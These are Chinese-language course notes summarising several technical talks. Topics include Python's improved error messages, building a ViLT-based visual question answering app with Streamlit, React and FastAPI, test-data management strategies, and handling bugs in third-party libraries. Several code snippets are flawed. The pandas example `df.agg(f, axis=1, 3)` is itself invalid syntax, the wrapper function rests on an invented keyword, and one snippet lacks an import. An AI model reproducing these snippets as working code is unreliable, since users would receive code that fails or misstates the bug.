另一个重要的事情是,我们必须允许应用目标的灵活性,让它以开发者的语言表达。我们有一些应用目标的开发者,他们已经对 pandas 了解很多。他们已经对 scikit-learn 和 TensorFlow 有了很多了解。不要把这些信息藏起来。允许他们以他们整个职业生涯所学习的方式来书写目标。允许他们用这些应用开发者常用的语言来表达。他们可以在彼此之间交流问题。他们甚至可以在更广泛的论坛上提问,并利用不同来源的帮助。

还有一件事,如我们所提到的,某些指令最终会泄漏到应用目标中。与其费尽心思去思考如何制作这些抽象,如何防止它们泄漏,我们不如接受它们最终会泄漏的事实。而不是与之对抗,应该引导它们以一种方式泄漏,让我们能够快速探索目标,并最终达到客户所检查的清晰度,从而实现实验的无缝跟踪。
以上就是我目前的分享。谢谢。
感谢你,Paolo,带来了精彩的演讲。

本节课总结
在本节课中,我们一起学习了如何将机器学习实验代码转化为可维护、可探索的生产级软件。我们探讨了数据科学家与生产代码耦合的挑战,介绍了构建生产化代码的四个支柱:快速探索、声明性、合理检查点和无缝监控。通过分析一个鸢尾花分类案例的逐步重构,我们深入理解了依赖注入和抽象泄漏法则的应用。关键要点在于:利用开发者熟悉的现有库(如 pandas、scikit-learn)作为“注入”的依赖,有意识地引导抽象泄漏以赋能快速实验,并在库代码与应用代码之间找到平衡,从而构建出既灵活又易于监控的机器学习软件框架。
065:演讲 - 巴勃罗·加林多·萨尔加多


概述
在本教程中,我们将学习Python错误信息的逐步改进过程。我们将探讨Python 3.9之后引入的新解析器如何帮助生成更友好、更清晰的错误提示,并了解运行时建议和更精确的回溯信息是如何实现的。本教程旨在让初学者理解这些改进的重要性及其背后的基本原理。
章节 1:Python错误信息的重要性

语法错误会显著影响开发者的工作效率。曾经有三个物理学家花费15分钟也无法解决一个Python语法错误。这个例子说明了不清晰的错误信息会如何阻碍开发进程。

章节 2:旧版Python中的错误信息问题
在旧版Python中,错误信息常常令人困惑。上一节我们介绍了错误信息的重要性,本节中我们来看看一些具体的、不友好的旧错误信息示例。
以下是几个典型的旧版错误信息案例:
- 未闭合的字典与函数定义:如果字典未正确闭合,解析器可能会将后续的函数定义误认为是字典的一部分,从而报告令人费解的“无效语法”错误。
- 缺少括号的元组生成器:编写元组生成器时若忘记外加括号,解析器无法理解意图,只会报告语法错误。
- 列表未闭合与赋值:列表未闭合时,后面的等号(
=)赋值操作会被报告为无效语法。 - 字典中缺少逗号:在字典字面量中忘记写逗号,例如
{‘Guido‘: ‘gvanrossum‘ ‘Larry‘: ‘larryhastings‘},解析器会错误地提示‘Larry‘是无效语法。 - 异常处理缺少括号:在多异常捕获语句中忘记写括号,会得到令人困惑的“无效语法”提示。
SyntaxError: unexpected EOF while parsing:这是最常见的错误之一,意味着解析器在文件末尾遇到了未预期的结束,但并未明确指出问题所在。
章节 3:新解析器带来的变革


Python 3.10引入了基于PEG的新解析器(PEP 617),取代了已有30年历史的旧LL(1)解析器。新解析器不仅支持更复杂的语法结构(如匹配语句),更重要的是,它为生成更精确、更友好的错误信息提供了可能。
章节 4:新版Python中的改进示例


得益于新解析器,Python 3.10及后续版本添加了许多改进的错误信息。上一节我们介绍了新解析器,本节中我们来看看一些具体的改进案例。
以下是Python 3.10中引入的部分新错误信息:
if语句后缺少冒号:现在错误信息会明确提示“:expected”。- 字典中缺少值:错误信息会提示“did you forget a value after the colon?”。
- 比较运算中误用单等号:错误信息会建议“did you mean ‘==’?”。
- 字典字面量中缺少逗号:错误信息会提示“perhaps you forgot a comma?”。
- 代码块缩进错误:错误信息会明确指出“expected an indented block after ‘if’ statement on line X”。
- 括号或引号未闭合:错误信息会清晰指出“closing parenthesis ‘)’ does not match opening parenthesis ‘(‘ on line X”。
章节 5:改进错误信息的挑战
添加新的错误信息并非易事。开发者必须确保新规则不会在其它合法或奇怪的语法构造中引发错误的建议。例如,早期尝试为“缺少逗号”添加建议时,就曾错误地影响了for item in items:等语句。
另一个挑战是性能。解析器需要快速处理有效代码。例如,一个极端的语法错误案例(如大量未闭合的括号)在未优化前可能导致解析时间呈指数级增长。改进错误信息时必须确保不影响正常代码的执行效率。


章节 6:运行时错误建议
除了语法错误,Python 3.10还引入了运行时错误建议。当访问不存在的属性或变量时,解释器会提供最接近的正确名称建议。
算法核心思想:
- 当引发
AttributeError或NameError时,异常对象会记录访问的名称和目标对象。 - 在异常未被捕获、即将打印回溯信息时,系统会计算错误名称与对象所有有效名称之间的编辑距离。
- 选择编辑距离最小的一个或多个名称作为建议。
性能优化:为了避免在每次引发异常时都进行昂贵的计算,建议功能仅在异常未被捕获、解释器需要打印最终回溯信息时才触发。这样可以确保正常处理异常的代码路径保持高性能。
章节 7:更精确的回溯信息(PEP 657)


Python 3.11通过PEP 657引入了更精确的回溯信息,能在错误行中高亮显示具体的出错位置。

实现原理:
- 编译器在生成字节码时,为每条指令附加额外的位置信息(列号)。
- 当发生错误时,回溯系统结合行号、列号以及源代码的抽象语法树(AST),精确计算出表达式中出错的部分。
- 在打印回溯时,使用下划线(
^)标记出具体的位置。

示例对比:
- 旧版:
TypeError: ‘NoneType‘ object is not subscriptable - 新版:
TypeError: ‘NoneType‘ object is not subscriptable,并在回溯中对应行标记出data[‘key‘][‘subkey‘]中具体是哪个部分为None。
这极大地帮助了开发者快速定位深层嵌套数据结构或复杂表达式中的问题。

章节 8:如何参与改进
如果你对改进Python错误信息感兴趣,可以通过以下方式贡献:
- 报告问题:在CPython的GitHub问题跟踪器上提出你认为需要改进的错误信息。
- 阅读开发指南:查阅《CPython解析器指南》(可搜索“Python dev guide parser”),了解解析器工作原理和添加错误信息的流程。
- 提交代码:根据指南,尝试为特定错误添加更友好的提示信息,编写测试用例,并向CPython提交Pull Request。
社区已经贡献了许多错误信息改进。保持开放心态,理解某些改进可能因技术复杂性而无法实现,是参与过程中的重要部分。

总结
本节课中我们一起学习了Python错误信息的演进。从令人困惑的旧提示,到借助新解析器实现的清晰语法错误提示,再到运行时名称建议和精确的回溯高亮,这些改进显著提升了开发者和学习者的体验。这些进步源于社区持续的努力,每个人都可以通过报告问题或贡献代码来参与其中,让Python变得更加友好。
066:VigNET智能相机应用开发教程

📖 概述
在本教程中,我们将学习如何构建一个名为 VigNET 的端到端深度学习应用程序。这是一个基于视觉问答(VQA)的智能相机应用,旨在帮助视觉障碍人士理解周围环境。我们将从核心模型构建开始,逐步介绍快速原型开发、前端服务构建以及生产化部署的全过程。
🧠 第一部分:理解应用核心——视觉问答模型
上一节我们介绍了VigNET应用的目标。本节中,我们来看看实现该应用的核心技术:视觉问答模型及其背后的数据和模型架构。
1.1 问题背景与数据集
全球有超过2.53亿人受到视觉障碍的影响。对他们而言,识别物体、阅读文字等日常任务可能非常困难。因此,我们决定构建一个能将视觉世界转化为可听体验的应用程序。
视觉问答(VQA)模型接收一张图像和一个与该图像相关的问题,然后输出一个文本答案。例如,对一张小狗的照片提问“小狗在吃什么?”,模型应回答“棍子”。
我们使用公开可用的 VQA V2 数据集来训练模型。该数据集包含以下内容:
- 超过 120,000 张图像。
- 超过 600,000 个问题。
- 每张图像至少对应三个问题。
- 每个问题有十个由人工标注的正确答案。
该数据集的特点是图像和问题都具有多样性,要求模型能够理解复杂的视觉场景和自然语言。
1.2 核心模型:视觉语言变换器 (ViLT)
我们的模型需要同时理解图像和文本两种模态。我们采用的核心模型是 视觉语言变换器。
首先,我们看看模型如何处理文本输入。其原理类似于 BERT 模型。
- 分词:将输入句子(如“小狗在吃什么”)拆分为更小的单元,称为 标记。
- 添加特殊标记:在句子开头添加
[CLS]标记,在结尾添加[SEP]标记。 - 向量化:将每个标记转换为机器可理解的数字向量。
- 位置编码:为每个向量添加位置信息,以保留单词在句子中的顺序。
- 变换器编码:将带有位置信息的向量输入到变换器编码器中。编码器通过自注意力机制学习单词之间的上下文关系,最终预测被掩盖的单词。
代码示例:BERT分词概念
# 概念性代码,展示BERT处理流程
sentence = “小狗在吃什么”
tokens = [“[CLS]”, “小狗”, “在”, “吃”, “什么”, “[SEP]”] # 分词
token_vectors = convert_to_vectors(tokens) # 向量化
vectors_with_position = add_position_encoding(token_vectors) # 添加位置编码
output = transformer_encoder(vectors_with_position) # 变换器编码
接下来,我们将相同的变换器思想应用于图像处理,这就得到了 视觉变换器。
- 分块:将输入图像分割成多个小块,称为 图像块。
- 向量化:将每个图像块转换为向量。
- 位置编码:为每个图像块向量添加位置信息。
- 变换器编码:将处理后的向量输入变换器编码器,学习图像的整体表示。
公式/概念:视觉变换器将图像视为一系列图像块,就像BERT将句子视为一系列单词。
最后,我们将文本和图像处理流程结合起来,就构成了 视觉语言变换器。
- 文本侧:生成单词嵌入。
- 图像侧:生成图像块嵌入。
- 模态交互层:将两种嵌入一起输入变换器编码器。模型通过同时关注文本和图像的上下文信息,进行联合学习。
我们使用在VQA V2数据集上预训练好的ViLT模型,这极大地简化了开发流程。
代码示例:使用Hugging Face库加载ViLT模型
from transformers import ViltProcessor, ViltForQuestionAnswering
import torch
# 1. 初始化处理器和模型
processor = ViltProcessor.from_pretrained(“dandelin/vilt-b32-finetuned-vqa”)
model = ViltForQuestionAnswering.from_pretrained(“dandelin/vilt-b32-finetuned-vqa”)
# 2. 准备输入
image = Image.open(“dog.jpg”) # 输入图像
question = “小狗在吃什么?” # 输入问题
# 3. 处理并获取答案
encoding = processor(image, question, return_tensors=“pt”)
outputs = model(**encoding)
logits = outputs.logits
idx = logits.argmax(-1).item()
answer = model.config.id2label[idx]
print(answer) # 输出答案,例如 “stick”
凭借这几行代码,我们应用程序的核心推理部分就准备就绪了。
⚡ 第二部分:快速原型开发与前端构建
上一节我们介绍了应用的核心模型。本节中,我们来看看如何快速构建一个可交互的Web应用原型,并最终打造一个功能完善的前端。
2.1 使用Streamlit快速原型开发
对于数据科学家而言,拥有一个可演示的Web应用原型,比只展示代码更能有效地与利益相关者沟通。
使用 Streamlit 库,我们可以在几分钟内将Python脚本转化为Web应用。它无需编写复杂的HTML/CSS代码。
以下是构建VQA应用原型所需的几个核心Streamlit组件:
代码示例:构建Streamlit应用界面
import streamlit as st
from PIL import Image


# 1. 标题
st.title(“VigNET 智能相机”)

# 2. 图像上传组件
uploaded_file = st.file_uploader(“请上传一张图片...”, type=[“jpg”, “jpeg”, “png”])

# 3. 文本输入框(用于提问)
question = st.text_input(“请输入关于图片的问题:”)
# 4. 提交按钮
if st.button(“获取答案”):
if uploaded_file is not None and question:
# 5. 调用模型逻辑(此处为伪代码)
image = Image.open(uploaded_file)
answer = get_vqa_answer(image, question) # 调用上一节的模型函数
# 6. 显示答案
st.write(f”**答案:** {answer}”)
else:
st.warning(“请上传图片并输入问题。”)
运行上述脚本后,一个功能完整的Web应用就会在本地浏览器中启动。用户可以上传图片、输入问题并立即获得答案。


2.2 构建生产级前端(React)
虽然Streamlit原型开发迅速,但对于最终面向用户(特别是视觉障碍用户)的生产环境,我们需要更强大、更定制化的前端。
我们选择使用 React 来构建生产级前端,因为它能提供:
- 丰富的用户界面:设计美观、交互流畅。
- 组件化开发:代码可复用,易于维护。
- 高性能:页面渲染速度快,用户体验好。
针对VigNET应用,React前端需要实现以下关键功能:
- 图像捕获/上传:通过手机摄像头拍照或从相册选择。
- 语音输入:允许用户通过语音提问。
- 答案输出:以清晰的大字体文本和语音播报两种形式呈现答案。
- 无障碍支持:确保应用对屏幕阅读器等辅助工具友好。
前端通过调用后端API服务来获取模型的计算结果。
🔗 第三部分:连接前后端——API服务与部署
上一节我们完成了前端界面的构建。本节中,我们来看看如何通过API服务将前端与深度学习模型连接起来,并最终部署整个应用。
3.1 使用FastAPI构建API服务
API服务是连接前端界面和后台模型逻辑的桥梁。我们使用 FastAPI 框架来构建它,因为它快速、现代,并且能自动生成交互式API文档。
代码示例:使用FastAPI创建预测端点
from fastapi import FastAPI, File, UploadFile, Form
from PIL import Image
import io
# 导入之前定义好的模型处理函数

app = FastAPI(title=“VigNET API”)
@app.post(“/predict/“)
async def predict(
image: UploadFile = File(...), # 接收上传的图片文件
question: str = Form(...) # 接收表单中的问题文本
):
# 1. 读取图像
image_data = await image.read()
image_pil = Image.open(io.BytesIO(image_data))
# 2. 调用核心模型函数(来自第一部分)
answer = get_vqa_answer(image_pil, question)
# 3. 返回JSON格式的答案
return {“answer”: answer}
启动FastAPI应用后,访问 http://localhost:8000/docs,你会看到自动生成的Swagger UI界面。你可以在这个界面中直接测试 /predict/ 接口,上传图片和问题,查看返回的答案。这为开发和调试提供了极大便利。
3.2 应用演示与集成计划
将ViLT模型、React前端和FastAPI后端整合后,就得到了完整的VigNET应用。

应用工作流程演示:
- 用户打开React前端应用。
- 拍摄或上传一张图片(例如一个交通标志)。
- 通过语音或文字输入问题:“这个标志表示什么?”
- 前端将图片和问题发送到FastAPI后端。
- 后端调用ViLT模型进行处理,得到答案:“停止。”
- 后端将答案返回给前端。
- 前端以大号文字显示答案,并用语音播报出来:“停止。”
我们计划将此应用集成到 Glance 平台。Glance是一个拥有超过1.5亿日活跃用户的锁屏内容平台。集成后,用户只需在手机锁屏界面右滑启动相机,拍照后点击“询问Glance”,即可直接获得语音答案,极大提升了可访问性和便利性。


3.3 部署与尝试
本项目所有代码均已开源。你可以克隆代码仓库,在本地或云平台(如Google Cloud Platform)上部署整个应用栈。
部署简要步骤:
- 准备Python环境,安装依赖(PyTorch, Transformers, FastAPI, Streamlit等)。
- 启动FastAPI后端服务。
- 构建并启动React前端应用。
- 配置前后端连接。
- (可选)使用Docker容器化或部署到云服务器。
✅ 总结
在本教程中,我们一起学习了构建端到端深度学习应用 VigNET 的完整流程:
- 核心模型:我们使用了视觉语言变换器 作为核心,它能够出色地理解图像和文本,完成视觉问答任务。我们利用Hugging Face的
transformers库,仅用数行代码就加载了预训练模型。 - 快速原型:我们使用 Streamlit 在几分钟内构建了一个可交互的Web应用原型,用于验证想法和进行演示。
- 生产前端:为了更好的用户体验和无障碍支持,我们使用 React 构建了功能丰富、性能强大的前端界面。
- 后端服务:我们使用 FastAPI 创建了REST API服务,作为连接前端和模型的高效桥梁,并便于生产部署。
- 集成与部署:我们展示了完整应用的工作流程,并讨论了将其集成到大型平台(Glance)的计划。所有代码均已开源,可供学习和部署。

通过结合先进的ViLT模型、高效的FastAPI后端以及用户友好的React前端,我们成功构建了一个旨在帮助视觉障碍人士的实用智能相机应用。希望本教程能为你构建自己的深度学习应用提供清晰的路径和灵感。
067:管理测试数据噩梦 🧪

在本节课中,我们将要学习如何有效管理软件测试中最棘手的挑战之一:测试数据。我们将区分产品数据和测试用例数据,探讨不同的数据准备策略,并学习如何避免数据冲突,从而构建更健壮、更易维护的测试。

概述:测试数据的双重性

测试任何软件产品时,最棘手的挑战之一就是处理测试数据。测试数据包括被测试产品内部的实际数据以及测试用例所用的数据值。作为测试人员,我们不应低估正确处理测试数据的工作。良好的数据与良好的测试和良好的自动化同样重要。
因此,在本次演讲中,我们将深入探讨产品数据与测试用例数据之间的联系。我们将学习如何选择正确的策略来处理这两者,包括如何在测试时避免数据冲突。到最后,你将知道如何管理自己测试项目中的测试数据噩梦。

一个示例:银行贷款应用
假设我们有一个银行贷款申请的应用。银行可以从不同类型的贷款中配置此应用,例如:房屋抵押贷款、汽车购买或学生贷款。所有信息都存储在数据库中的数据里。每种贷款产品都是不同的。它有自己独特的利率、到期时间和还款计划。
我们可以编写一个简单的测试用例来验证基本应用行为。创建新贷款申请的场景从打开 Chrome 浏览器并加载页面 MyLoanApp.com 开始。当用户为房屋抵押贷款创建新贷款时,用户输入所有个人身份信息。用户提交申请后,页面会显示成功消息和参考号码,申请将发送到银行。
此测试为用户创建并提交了新的房屋抵押贷款申请。这个场景中有很多测试数据点。显而易见,有用户的个人信息、贷款类型、发送到银行的贷款申请记录、显示给用户的参考号码。此外,URL 是配置信息,浏览器可以说是一种测试输入。测试数据在这个简短简单的场景中无处不在。这些数据与测试不可分割。没有特定的数据,这个测试将毫无意义。

区分两种测试数据
不幸的是,测试数据这个术语是模糊的。我们将其应用于贷款网页应用中的产品数据,以及各种测试用例数据,这些数据使得即使是最基本的测试也能正常工作。
- 产品数据指的是软件系统中真实存在的数据。对于贷款网页应用,产品数据包括银行的所有产品配置和借贷信息。
- 测试用例数据指的是用于定义测试用例的数据。它可能包括在被测试产品中输入的值、控制测试如何进行的输入,或者从产品中检索的记录。在后者的情况下,测试用例数据是产品数据的反映。它的值指向存在于产品数据中的实体。
这两种类型的测试数据是分开的,但又是相互连接的。区分这两种数据类型很重要,以避免混淆。
测试用例数据对产品数据的依赖可能是脆弱的。例如,考虑我们测试用例的步骤,以创建一个家庭抵押贷款的新申请。只要银行的网页应用程序配置为家庭抵押贷款,这一步就能正常工作。然而,产品数据可能随时变化。如果家庭抵押贷款的具体内容发生变化,比如贷款不再称为“家庭抵押贷款”,而是“个人住宅贷款”,这就会导致测试用例失效。频繁的失效为测试管理带来了噩梦。
管理产品数据的策略
对于功能测试,测试数据与测试用例和测试代码同样重要。我们如何适当地处理产品数据和测试用例数据呢?我们可以使用哪些策略来避免脆弱的依赖关系?
在这次讲座中,我们将探索多种处理产品数据和测试用例数据的方法。不幸的是,市面上没有通用或完美的解决方案。但你可以通过选择适合你需求的策略来避免噩梦。

什么是产品数据?

正如之前所述,产品数据是测试中的任何实时数据。简单来说,就是数据库中的一切。它可以包括用户账户、管理设置、产品自定义、用户创建的记录、用户上传的文件等等。在我们讨论的贷款申请示例中,产品数据将包括诸如用户账户、贷款产品设置、贷款申请以及后台银行数据等内容。
数据必须在产品中存在,作为大多数测试的先决条件。将数据导入系统主要有两种方法。
策略一:静态数据准备
你可以在运行测试之前设置数据。这将是静态数据创建。例如,一个贷款网页应用程序可以配置一组预注册的用户和一系列贷款类型。测试用例,无论是手动还是自动,都可以假设这静态数据已经在系统中,并简单地引用它。
静态数据准备是处理复杂数据或速度较慢的数据的好策略。例如,用户账户可能需要电子邮件验证,因此自动化测试可能更容易使用一组预注册的用户。如果人们可以简单地引用现有数据,而不是每次都创建新数据,他们的速度会更快。
然而,静态数据必须得到维护。对静态数据的任何更改也可能影响测试。随着数据格式的更新,静态数据也可能随着时间而变得过时,或者如果数据是时间敏感的,比如时间序列。
策略二:动态数据准备
你可以在测试执行期间设置数据。这就是我们所说的动态数据创建。在示例贷款测试案例中,贷款申请文档是动态创建的。测试并不引用现有的贷款申请。它创建一个新的。
动态创建的记录避免了对静态数据的硬引用带来的脆弱性。它还可以被当前的测试案例独占使用,保护它们不被其他测试案例的干扰。动态数据准备的主要缺点是执行时间。这确实会降低测试速度。动态创建的数据本质上是一次性的,因此最终应该清理。
如何选择?
哪种策略最好?通常,测试需要两种策略结合使用。设置缓慢或被视为不可变的数据应使用静态数据准备,而快速且易于设置的数据应使用动态数据准备。当我开发测试解决方案时,我更倾向于根据测试案例尽可能动态地创建数据,以尝试保持测试案例的独立性。当测试动态创建所需数据时,它将是唯一引用它的测试案例。而且碰撞的风险要小得多。
实施静态数据准备的方法
这两种数据准备策略在实施时有点复杂。数据准备确实取决于你正在进行的测试案例。然而,静态数据准备有一些与使用它们的测试案例无关的一般策略。
以下是几种常见的静态数据准备方法:
- 手动配置:测试人员登录系统并手动创建他们需要存在于系统中的记录。好处在于技术要求低,任何人都可以做到。然而,它速度较慢,扩展性不好,且容易因缺乏维护而失修。
- 自动配置:自动化工具可以创建所需的数据,而不是手动设置一切。这可以通过多种方式实现,例如重用测试中的用户界面交互、调用 REST API,甚至可能使用像 Puppet 或 Chef 这样的工具。自动化可以以确定性或随机的方式生成数据。自动化还可以清理数据。不幸的是,它需要额外的技能,自动化代码必须进行维护。
- 克隆数据库:使用云管理工具,克隆数据库比以往任何时候都更容易。你可以将一个数据库保持在黄金状态,并在运行测试之前创建一个副本。一旦测试完成,副本可以被销毁。无需细致的清理。然而,克隆大型数据库可能不太实际,且可能需要额外的精细化。
- 模拟端点:这将完全消除对数据库甚至服务的依赖。Mocks 返回的所有数据也是确定性的,为你的功能测试提供一致的结果。但 Mocks 通常需要大量额外的设置工作,而 Mock 数据可能使测试忽视现实世界变化。Mocks 还意味着测试在覆盖范围上不会真正实现端到端。
这些策略也可以协同工作。例如,你可以使用自动化脚本在黄金数据库中配置产品数据,然后克隆该数据库。
关于合成数据

很多时候,我们希望在系统中使用生产或类生产数据,以反映现实世界。不幸的是,生产数据中包含诸如个人身份信息等内容,且不总是安全共享。合成生成数据是避免这些障碍的绝佳方式。例如,Redo AI 是一个出色的工具,能够生成统计上准确、保护隐私并且安全共享的合成数据。你可以将 Redo AI 与任何静态数据准备策略结合使用。

决策因素
在决定最佳静态数据准备策略时,有多个因素需要考虑:
- 你的数据有多大?
- 数据需要有多新鲜?
- 这些数据需要多频繁地更新?
- 尝试像模拟或克隆数据库这样的高级技巧会有多难?
- 是否存在任何官僚主义阻碍自动化解决方案?
- 大家有没有自动化、数据库管理或 Mocks 所需的技能?
- 成本问题呢?
管理测试用例数据
上一节我们介绍了如何处理产品数据。接下来,让我们看看测试用例数据。测试用例数据本质上是测试用例的一部分。让我们重新审视之前的示例测试用例。如前所见,这个简短场景的步骤中有多个测试数据位。它们代表不同类型的测试用例数据。
类型一:测试控制输入
看看第一步。假设 Chrome 浏览器已经打开。Chrome 浏览器是测试数据,因为它指定了加载应用程序的网络浏览器类型。这就是我们所说的测试控制输入。它指导测试的运行方式,而不是指定任何关于未来行为的内容。
测试控制输入不应在测试自动化代码中硬编码,而应该作为输入传递给自动化。这样,测试可以轻松重新定位。
有几种方法可以做到这一点:
- 使用配置文件:创建一个包含输入值的平面文件(如 JSON 或 YAML)。测试自动化代码可以在任何测试开始之前读取文件,并可以注入输入值。
{ "browser": "chrome", "environment": "staging" } - 使用环境变量:测试可以从系统 shell 或配置文件中设置变量,自动化可以按名称读取这些变量。这对于与持续集成服务器或 Docker 容器的集成很有用。
类型二:配置元数据
注意这里的 URL 是硬编码的。这也不是一个好习惯。通常,开发团队会在开发过程中托管多个产品实例,如开发环境、暂存环境或测试环境。使用这样的配置信息限制了测试的运行地点。关于产品配置的任何信息称为配置元数据。这可以包括 URL、用户名、密码以及可能的其他描述符。
有几种方法来处理配置元数据。你可以使用平面文件或环境变量作为测试控制输入。然而,我确实推荐使用平面文件,同时也建议将测试控制输入与配置元数据分开。创建输入以引用目标配置,并在配置元数据文件中存储多个配置。这样,测试人员只需更改一个或几个简单输入即可针对任何配置。
类型三:测试用例值
剩下的测试用例数据都属于称为测试用例值的类别。这些值直接与测试中所执行的行为相关,而不是与任何配置因素相关。即使在这种分类中,还有子类型。
以下是测试用例值的几种类型:
- 字面值:这些值在测试中是硬编码的。在这个例子中,个人信息表包含字面值。字面值使用简单,它们通过示例提供规范。人们应该独立于任何静态创建的产品数据。它们应该是可以安全地由测试用例生成的值。
- 输出引用:这些值通常是从被测试的产品中检索的。它们是通过执行某种行为生成的输出。在这个示例测试中,引用编号可以从成功页面抓取并验证其正确格式。可以从网络应用的后端检索贷款申请,以验证其是否被正确提交。这些值不能是字面量,因为它们源于产品。必须通过引用来引用它们,并从产品中检索其值。
- 输入引用:这些值直接指向产品数据。当个人信息如姓名和地址由测试用例动态创建时,贷款类型的名称指的是应用中的贷款配置。因此,此测试具有输入依赖性。它必须指定贷款类型,并且该贷款类型必须已经在产品数据中存在。
处理输入引用的策略
编写此测试的最简单方法是直接硬编码引用。这就是这里所做的。名称“住房抵押贷款”指的是网络应用中贷款类型的名称。硬编码引用使得编写测试变得简单,但它们需要在系统中存在静态预备数据。当产品数据发生变化时,引用也会变得难以维护。
避免静态数据带来的痛苦的一种方法是动态创建这些记录或配置。如果测试调用后端为每次测试运行创建一个名为“住房抵押贷款”的新贷款产品,那么就不需要静态预先准备的数据。然而,我们已经知道动态准备的痛点。
一个稳健的解决方案可以被称为数据发现。假设目标网络应用已经配置了多种可接受的贷款类型。测试可以描述贷款类型,而不是硬编码所需贷款类型的名称,然后使用自动化搜索网络应用的配置,以找到符合所需标准的贷款类型。例如,如果银行的不同地区对这种贷款类型有不同的名称,发现机制可以查看配置,寻找满意的住房抵押贷款类型,并返回你所在地区的特定名称。发现使得测试能够搜索现有产品数据以获取所需记录,而不是硬编码这些记录。发现使测试对产品数据的变化更加弹性。

避免数据冲突

此时你可能在想:“哇,这真是一大堆信息。”没错,但噩梦还没有结束。还有一个问题需要解决:冲突。当多个参与者在共享资源上操作时,可能会发生冲突。例如,当多个测试者同时访问系统时,就可能会发生。当自动化测试并行运行时,额外的考虑事项适用。
以下是避免冲突的几个关键原则:
- 孤立你的测试环境:防止外部参与者打扰。如果你有共享的测试环境,在测试运行时阻止人们使用它。如果你使用容器,自己运行容器。尽量使其尽可能孤立。
- 将共享数据视为不可变:当测试在测试环境中并行运行时,它们可能需要使用相同的产品数据。因此,将任何共享数据视为常量,以防止一个事物干扰另一个事物。
- 尽可能多地使用动态数据准备:测试在它们不共享的数据上无法发生冲突。将静态准备的产品数据保持在最低限度。静态创建的数据更可能成为共享数据,而共享数据更可能导致冲突。
总结

今天我们覆盖了很多信息。总的来说,如果你从中得到的一个信息,那就是选择打败你噩梦的最佳策略。每个产品都是不同的,每个团队也是不同的。

本节课中我们一起学习了:
- 两种类型的测试数据:产品数据和测试用例数据。
- 产品数据的准备策略:可以是静态的或动态的,并可通过手动、自动、克隆或模拟等方式实现。
- 测试用例数据的分类:包括测试控制输入、配置元数据和测试用例值(字面值、输出引用、输入引用)。
- 避免冲突的关键:隔离环境、视共享数据为不可变、优先使用动态数据。

记住,没有放之四海而皆准的解决方案。把我在这次演讲中分享的策略作为建议,根据你的具体项目和团队情况,选择最适合的组合来管理你的测试数据,从而构建更可靠、更高效的测试自动化。
068:策略指南


概述
在本教程中,我们将学习当项目依赖的第三方库或他人代码出现Bug时,可以采取的一系列应对策略。我们将从最推荐、最规范的做法开始,逐步过渡到更“黑客式”的临时解决方案,并分析每种策略的优缺点和适用场景。
P68:演讲 - 保罗·甘塞尔 _ 当 bug 出现在别人代码中时该怎么做
我们即将开始本场会议的第二场演讲。


这位是保罗·甘塞尔。他将告诉我们当 bug 出现在别人代码中时该怎么做。
我的名字是保罗·甘塞尔。我是谷歌的软件工程师,同时也是许多开源项目的贡献者。除此之外,我还是 Python 的核心开发者,我在 datetime 和 zoneinfo 模块上工作过。我还维护过像 DateUtil 和 setuptools 这样的库,并参与了许多打包的工作。
作为一个主要开发库的人,我显然是共享代码的支持者。但我也意识到承担依赖关系是有风险的。无论是第三方依赖,还是在你组织中某个其他团队的内部依赖。其中一个风险是今天演讲的主题,那就是当你依赖的某个东西出现 bug 或其他不兼容性时。修复它并不像修复自己代码中的 bug 那么简单。
这次演讲涉及多种处理依赖中的 bug 的策略。但它被组织成一系列从正确做法中战略性撤退的过程。所以我们将从合适的工具开始,来敲这个钉子。然后随着进展,我们会转向更“黑客式”的,甚至是危险的做法。
1:识别问题:什么是“别人的Bug”?
那么,我们所说的在别人代码中的 bug 是什么意思呢?这是我在工作中遇到的一个例子。
这只是一个最小的重现示例。这个函数应该工作的方式是,你有一个数据框,它接受 .agg(),并且应该传递这个函数 f。而 .agg() 本身接受两个参数。它接受函数,然后接受 axis。然后它应该将所有额外的位置和关键字参数传递给这个函数。
# 预期行为:将 f 应用于每一行,并将这一行和数字 3 传递给 f
df.agg(f, axis=1, 3)
在 Pandas 1.1.3 中,当我第一次写这个演讲时,实际上引发了一个错误。某种奇怪的事情是 axis 参数被传递了两次。这有点奇怪。所以我们可以检查文档,确保我理解如何正确使用这个函数。你可以看到,是的,Pandas 确实打算让你以这种方式使用它,但它并不工作。所以这是 Pandas 中的一个 bug,或者是它们文档中的 bug,两者之一。
2:黄金标准:修复上游
那我该怎么办呢?正确的做法是告诉 Pandas,因为他们怎么会修复它,除非他们知道。如果你想尝试一下,可以提交一个补丁并在上游修复它。在这种情况下,做起来相当简单,关键是,这个补丁也很容易审核。因此,在我提交拉取请求后,仅仅几天就合并了。然后它被安排在 1.1.4 版本中发布。所以我所要做的就是等待发布的到来。
优点:
- 为所有人修复了问题。
- 无需自己维护变通代码。
- 可能改善与上游维护者的关系。
缺点:
- 需要说服维护者接受你的补丁。
- 存在延迟:从修复到发布,再到你部署新版本,可能需要很长时间。
- 对于不活跃的项目,补丁可能永远不会被合并。
我没有时间详细讲解你应该做什么以及实际的方面。但我在 2018 年在 PyData 做了一个关于这个话题的演讲。如果你在我网站上查看幻灯片,可能会找到那个演讲。
3:权宜之计:本地变通
如果无法立即等待上游修复,我们需要本地变通方案。上一节我们介绍了修复上游的理想情况,本节中我们来看看如何在本地绕过问题。
那么在这段时间里你该怎么办?你能做的最好的事情就是绕过这个问题。
策略一:直接修改调用代码
在这种情况下,绕过这个问题相当简单,因为我所要做的就是不再按位置传递,而是按关键字传递。
# 原始有问题的代码
# df.agg(f, axis=1, 3)
# 变通方案:使用关键字参数
df.agg(f, axis=1, extra_arg=3)
如果你在一个地方碰到这个错误,这种做法是完全可行的。如果解决方法相对简单,只需更改一个小地方。如果你对触发错误的代码和周围的代码没有偏好,这样的做法特别好。
策略二:封装包装函数
如果这些事情不成立,最好将你的解决方法封装到一个包装函数中。
因此,我在这里稍微将那个小解决方法进行了通用化处理。我把它封装在一个函数中,这个函数可以作为 DataFrame.agg 函数的替代品。
import pandas as pd
def dataframe_agg(df, func, axis=0, *args, **kwargs):
"""包装函数,将额外位置参数转为关键字参数以绕过Pandas bug"""
# 将所有位置参数(args)转换为关键字参数
# 这里假设我们知道要传递的关键字参数名,例如 ‘extra_arg'
# 这是一个简化示例,实际逻辑取决于具体Bug
kwargs[‘extra_arg‘] = args[0] if args else None
return df.agg(func, axis=axis, **kwargs)
# 使用包装函数
dataframe_agg(df, f, axis=1, 3)
优点:
- 封装了复杂的解决逻辑。
- 提供了一个简单的删除目标(将来可以搜索替换回原函数)。
- 可以立即部署。
缺点:
- 变通函数可能会成为永久的技术债务。
